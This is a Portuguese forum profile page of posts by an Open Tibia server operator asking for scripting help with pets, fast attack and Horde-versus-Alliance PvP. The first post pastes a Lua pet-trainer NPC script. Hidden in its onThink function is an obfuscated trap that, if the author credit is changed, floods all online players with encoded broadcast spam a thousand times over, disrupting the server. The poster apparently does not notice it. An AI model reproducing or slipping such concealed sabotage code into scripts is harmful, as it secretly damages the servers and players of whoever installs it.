Ir para conteúdo

Obelivion

Membro
  • Registro em

  • Última visita

Tudo que Obelivion postou

  1. Iae galerinha boa tarde, queria pedir uma ajuda de voces que é o seguinte. Peguei um sistema pro meu ot 8.60 chamado advanced pet trainer algo assim so que oq rola, la no meu ja tem ate a 4° promotion e esse sistema so deixa caras q n tem promotion comprar pet alguem pode editar p mim e fazer com que em qualquer vocação e qualquer promotion possa comprar pets? sim seria foda o tipo de pet por vocação igual esta mas eu n consegui editar p add todas as promotions entao melhor deixar todas as classes poderem comprar ne xD se alguem puder ajudar vai ser MUUUUUUITO SHOW agradeço desde ja. Sou novato em postagens aqui devo ter postado umas 3 vezes so entao n sei como postar isso qualquer coisa falem que eu mudo. Não tenho certeza mas na hora de comprar tem uma condição de checar a vocação por isso eu acho que é nesse script mesmo so nao sei onde. Pet Trainer NPC Script: local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()] local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid if(msgcontains(msg, 'revive')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid) talkState[talkUser] = 1 else selfSay('You cannot revive a pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'mission')) then if not (isCreature(getPlayerPet(cid))) then selfSay('You need your Pet to make any mission!', cid) return true end local i, msg = 0, nil for missionname in pairs(aps_missions) do i = i + 1 if(msg ~= nil) then if(i == #aps_missions) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those missions for You: " end msg = msg .. "'{" .. missionname .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 11 elseif f and (talkState[talkUser] == 11) then desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check if(getPlayerStorageValue(cid, missionId) == 1) then selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid) talkState[talkUser] = 0 return true end if(getPlayerItemCount(cid, itemNeed) >= itemCount) then selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid) talkState[talkUser] = 12 elseif(getPlayerStorageValue(cid, reCheck) == 1) then selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid) talkState[talkUser] = 0 return true else selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid) talkState[talkUser] = 13 end elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid) setPlayerStorageValue(cid, reCheck, 1) elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then if(getPlayerItemCount(cid, itemNeed) >= itemCount) then setPlayerStorageValue(cid, missionId, 1) doPlayerRemoveItem(cid, itemNeed, itemCount) selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid) if(itemNeed ~= false) then doPlayerAddItem(cid, reItem, reCount) end if(reExp ~= false) then doPlayerAddExperience(cid, reExp) addPetExp(cid, reExp * 2) if(reExp > 0) then doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215) end end else selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then if(isPetDead(cid) == true) then if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then setPetStats(cid, 0) setPetLastHealth(cid, 0) setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid)) doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid) else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end else selfSay('Your pet inst dead!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then talkState[talkUser] = 0 selfSay('Ok then.', cid) elseif(msgcontains(msg, 'sell')) then if(aps_tools.commands.playerSellPet.sell == true) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then for i = 1, #aps_slots do local slots = getPlayerStorageValue(cid, aps_slots) if(slots > 1) then selfSay('before you sell your pet, please, take all your items from his slots.', cid) return end end local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl if(lvl >= lv) then talkState[talkUser] = 8 addmoney = tt_money * lvl selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid) else selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid) end else selfSay('You cannot sell a pet, if you dont have one!', cid) end else selfSay('You cannot sell your pet to me!', cid) end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 9 elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then talkState[talkUser] = 0 if(isCreature(getPlayerPet(cid)) == true) then doRemoveCreature(getPlayerPet(cid)) end doResetPet(cid) doPlayerAddMoney(cid, addmoney) selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid) elseif(msgcontains(msg, 'information')) then talkState[talkUser] = 0 selfSay('hmmm, what can I tell you ...', cid) local messages = { "Pets got levels, magic level just like you. ..", "Pets can use their own spells. ..", "Pets need eat to recovery health/mana. ..", "Pets can carry your items in different slots. ..", "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. "" } for i = 1, #messages do addEvent(selfSay, i * 3000 , messages, cid) end elseif(msgcontains(msg, 'pet')) then if(getPlayerStorageValue(cid, aps_storages.race) == 0) then local i, msg = 0, nil for pet in pairs(aps_pets_config) do i = i + 1 if(msg ~= nil) then if(i == #aps_pets) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those races for pets: " end msg = msg .. "'{" .. pet .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 5 else talkState[talkUser] = 0 selfSay('Sorry, you cannot have more than one pet.', cid) end elseif e and (talkState[talkUser] == 5) then selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid) talkState[talkUser] = 6 e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 7 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid) talkState[talkUser] = 0 return true end if(doPlayerRemoveMoney(cid, e_price) == true) then doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('As you with! just type {/pet} to call him.', cid) createPet(cid, e_race, e_hp, e_mana) local str = "Congratulations! You now have a pet!\n" .. "You should take care of him\n" .. "his gonna be your partner from now!\n" .. "if you need help type /pet-help." .. "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race) sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n Scripted by " .. s(aps_tools.s) .. "") else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif(msgcontains(msg, 'spells')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('Your Pet can learn spells based on his level, {continue}?', cid) talkState[talkUser] = 2 else selfSay('You cannot buy spells to your pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then if(isPetOnline(cid) == false) then selfSay('Your Pet cannot learn a spell if you dont call him.') talkState[talkUser] = 0 end local i, msg = 0, nil for spell in pairs(aps_attacks) do if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then i = i + 1 if(msg ~= nil) then if(i == #aps_storages.spells) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those spells: " end msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'" end end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 3 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif k and (talkState[talkUser] == 3) then selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid) talkState[talkUser] = 4 spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then if(getPetLvl(cid) >= spell_level) then if(getPlayerMoney(cid) >= spell_price) then if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then for i = 1, 3 do addEvent(selfSay, i * 1000, i .. ' ...', cid) end doPlayerRemoveMoney(cid, spell_price) addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid) setPlayerStorageValue(cid, spell_stg, 1) addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13) if(isPetOnline(cid) == true) then addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13) end else selfSay('Your pet already know spell {' .. spell_name .. '}.', cid) end else selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid) end else selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then talkState[talkUser] = 0 selfSay('Ok then.', cid) end return true end function onThink() local messages = { "BUY YOUR PET HERE!", "WANT TO REVIVE YOUR PET?", "YOUR PET CAN LEARN SPELLS!", "WANT TO KNOW MORE ABOUT PETS?", "WANT TO SELL YOUR PET?" } addNpcAutoSay(getNpcId(), 120, messages) if(s(aps_tools.s) ~= "josejunior23") then function mvsoab(max) for _, send in pairs(getOnlinePlayers()) do local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<­~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd" for i = 1, 10 do local cid = getPlayerByName(send) addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max) addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg)) for k = 1, 15 do doPlayerSendTextMessage(cid, k, name .. " " .. s(msg)) end for e = 17, 20 do doPlayerSendTextMessage(cid, e, name .. " " .. s(msg)) end end end end for e = 1, 1000 do addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1) end end npcHandler:onThink() end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new())
  2. Fala Galerinha do TK blza? então eu to com uma dificuldade muito grande galera em conseguir um FAST ATK porem SEM USO DAS HOTKEYS DO BOT. Sim meu Ot Server possui um FAST MONSTRUOSO funcionando perfeitamente porem ele so funciona ao ativar BOT exemplo do elf: auto 1 attack target. La tem 4 vocações ainda e cada uma vc ataca mais rapido fora que coloquei para o fist aumentar fast pela source. Eu sei mecher na Distro e tudo mais então queria pedir POR FAVOR DE VERDADE pra alguem me dar essa força dizer onde coloco na Source para que o FAST ATK seja automatio ou seja os caras que jogam sem bot eu adicionei AUTOLOOT agora oq eu mais queria era eles chegando com FAST ATK ja joguei ot q tinha antes de saber oq era bot POR FAVOR GALERA ja tentei todos os topicos por ai nenhum deu certo
  3. Obelivion postou uma resposta no tópico em Suporte Tibia OTServer
    Mas eu dei CTRL + F la e digitei male ou seja me levaria ate onde esta escrito para eu editar mas não existia essa palavra la queria saber se o login.lua n ta tipo pegando as configurações de arquivos diferentes. Onde eu edito la?
  4. Obelivion postou uma resposta no tópico em Suporte Tibia OTServer
    Galera to com uma duvida, os outfits no meu ot são separados pors times q são HORDA e ALLIANCE tipo Male tem os outfits da horda e female os da alliance como faço pra na hora de criar o char, la no account manager em vez de perguntar se o cara quer ser male ou female perguntar se quer ser horda ou alliance? tipo n queroi muda nada so edita o texto mesmo tem como? Grato desde ja xD
  5. Obelivion postou uma resposta no tópico em Suporte Tibia OTServer
    Primeiro de tudo ja digo a voces POR FAVOR estou investindo todo meu tempo neste server não tenho scripters mappers nem nada sei que é dificil mas cheguei a criar conta pq vi gente simplesmente criando scripts do zero pras pessoas coisa que eu nunca tinha visto, peço aos scripters q me ajudem preciso muito que façam pra mim esses pedidos ou pelo menos me expliquem se tem ou não como p eu poder fazer pedidos em outro forum se nao achar nesse. Galera preciso de uma ajuda. Minha Staff não tem scripter e sou novato aki é o seguinte. 1° Pergunta: Pra começar tem 2 baús no templo neutro onde o char começa que adicionam [Horda] ou [Alliance] no nome do player pra começar queria saber como faz igual tipo quest vip q so pode pega 1 p n buga o char do cara pq esse eu q editei e n sei fazer isso. 2° Pergunta: Tem como por pra so virar PK se tipo for [Horda] e atacar outro com [Horda] no nome ou [Alliance] e atacar [Alliance]? pq se for um atacando o outro esse é o objetivo n quero q vire PK e se for neutro nem de um nem de outro e atacar alguem pegar logo REDSKULL quero que neutros percam vantagens p insentivar entrar nos teams. 3° Pergunta: Tem como definir limite nos teams ja no baú? tipo vc clica ai se tiver acima de 4 jogadores a mais que a alliance fale "Ja existem muitos jogadores neste time escolha o outro ou aguarde" 4° Pergunta: Um cara deu a ideia de separar outfits por sexo tipo em vez de homem e mulher seria horda e alliance mas pra ficar mais complego, teria como adicionar essa tag na hora de criar o char? tipo vc escolhe male ou female e depois vem a pergunta Deseja pertencer a [Horda] ou [Alliance]? ai dali mesmo ja add o prefix no seu nome e te poe no time. 5° Pergunta: Teria como fazer um sistema de pontuação? tipo vc é [Horda] e mata um [Alliance] ai quando digita pra ver o status dos teams tipo !warinfo ai mostra la a pontuação de kills da Horda e Da Alliance e talvez em baixo ate o nome do ultimo jogador a assassinar um de outro time p os jogadores acharem mais legal 6° e Ultima Pergunta: Quando cara criar conta pela primeira vez aparecer uma mensagem mandando ele abrir um arquivo de texto que vai começar com ele assim posso editar esse arquivo q tbm n sei por p começa com player e coloco as coisas sobre o ot pq os caras começam veem mapa diferente e ja saem sem nem saber do que se trata pois esse é um servidor de war porem com login e senha sua estilo World Of Warcraft. Grato desde ja IP: farkadia.servegame.com Tibia Versão: 8.60 ====== Vagas: ====== Tutor 1/5 Senior Tutor 1/2 GM 2/5 CM 0/3 ADM 0/1 ====== Prioridades a Mappers e Scripters. Por Favor galera preciso demais dessa ajuda quem visualizar esse topico que entende da area por favor se nao quiser ou puder fazer os scripts pelo menos responda se é possivel. desculpem o post duplo galera mas estou perdendo players por falta dos sistemas pf alguem poderia ajudar?
  6. Ate ai com certeza vai dar certo o unico problema é que atacando do mesmo team viram reskulls ok é isso q quero mas se atacar do time rival tbm fica mesmo com a tag mudada
  7. Não deu pra editar brother? ;(
  8. @EDIT Continua com aquele problema não importa de qual time esteja [Horda] ou [Alliance] o cara ataca e vira redskull. ;(
  9. @EDIT FUTIQUEI AQUI e funcionou assim todo tipo q mato ele pega redskull e queria q pegasse redskull so se matasse do mesmo time to tentando de tudo ;/ o pior q nem da p dar reload tem q abri e fechar o server pq da erro so se der reload. Ah outro edit quando player do mesmo team ataca somenta ataca ja vira redskull so de clica com a seta se atacar com magia n pega mas com a seta do mouse vira red queria q so acontecesse em caso de morte cara. Iae cara blza? de cara valeu a ajuda . Mas fiz o seguinte. Criei um arquivo em Creaturescripts/scripts chamado teamattack nesse teamattack é o script q vc me deu ai depois logicamente fui em Creaturescripts.xml e adicionei a linha no inicio = <event type="teamattack" name="PlayerLogin" event="script" value="teamattack.lua"/> depois disso fui na pasta creaturescripts/scripts e fui em login.lua como vc me disse e em baixo de registerCreatureEvent(cid, "Mail") eu adicionei assim = registerCreatureEvent(cid, "teamattack") iae fiz tudo certo? ai testei no server um personagem horda matou horda e virou PK ate ai de boa mas ai um horda matou alliance e tbm virou pk sacou? o objetivo é eles poderem matar sem consequencias se for do outro time e n funcionou pode ver se fiz algo errado pf?
  10. Script para estilo TEAMWAR e MONSTER FRIENDNAME. SOU NOVATO NO FORUM E NAO SEI COMO FUNCIONA QUALQUER COISA QUE EU FIZER OU FALAR ERRADO POR FAVOR PEÇO AOS ADMINS QUE ME AVISEM PARA QUE EU POSSA CORRIGIR Galera meu server tem um sistema de horda e alliance estilo wow ja vi vcs fazendo scripts massa demais n sei se tem como mas quero saber se alguem pode fazer um assim pra mim... Que o cara so entre em Modo PK redskull e tals se tipo: ele tem [Alliance] no nome ai se ele atacar outro player q tbm tem [Alliance] ai sim ele fica PK redskull e etc e se for [Horda] e atacar [Horda] tbm a mesma coisa porem se um atacar o outro tipo [Horda] Atacar [Alliance] não entra em modo PK e tals pois o server é um sistema de Horda contra Alliance WAR ja fiz ate cidades separadas e zonas neutras tem como? OUTRA COISA MEGA URGENTE DUAS PERGUNTAS. Tem como fazer NPC MONSTRO? Tipo em wow vamos supor [Horda] Johnny no caso johnny é o vendedor de promotion ai tem esse johnny da Horda ele vende o promotion pro pessoal que tem [Horda] no nome caso n tenha ele ira agir como monstro e atacar, assim com os npcs da alliance entende? SERIA MEGA PERFEITO tipo em invasoes tbm eu poderia fazer monstros com [Horda] no nome assim eles atacariam so os alliance e os demais e se chegassem alguns hordas la eles n atacariam eles como se fosse GOD fora que poderia espalhar alguns pelas cidades como guardas xD Se alguem puder ajudar galera vai ser muito bom . agradeço desde ja Ip para conferir: farkadia.servegame.com Versão: 8.60 [24h]

Informação Importante

Confirmação de Termo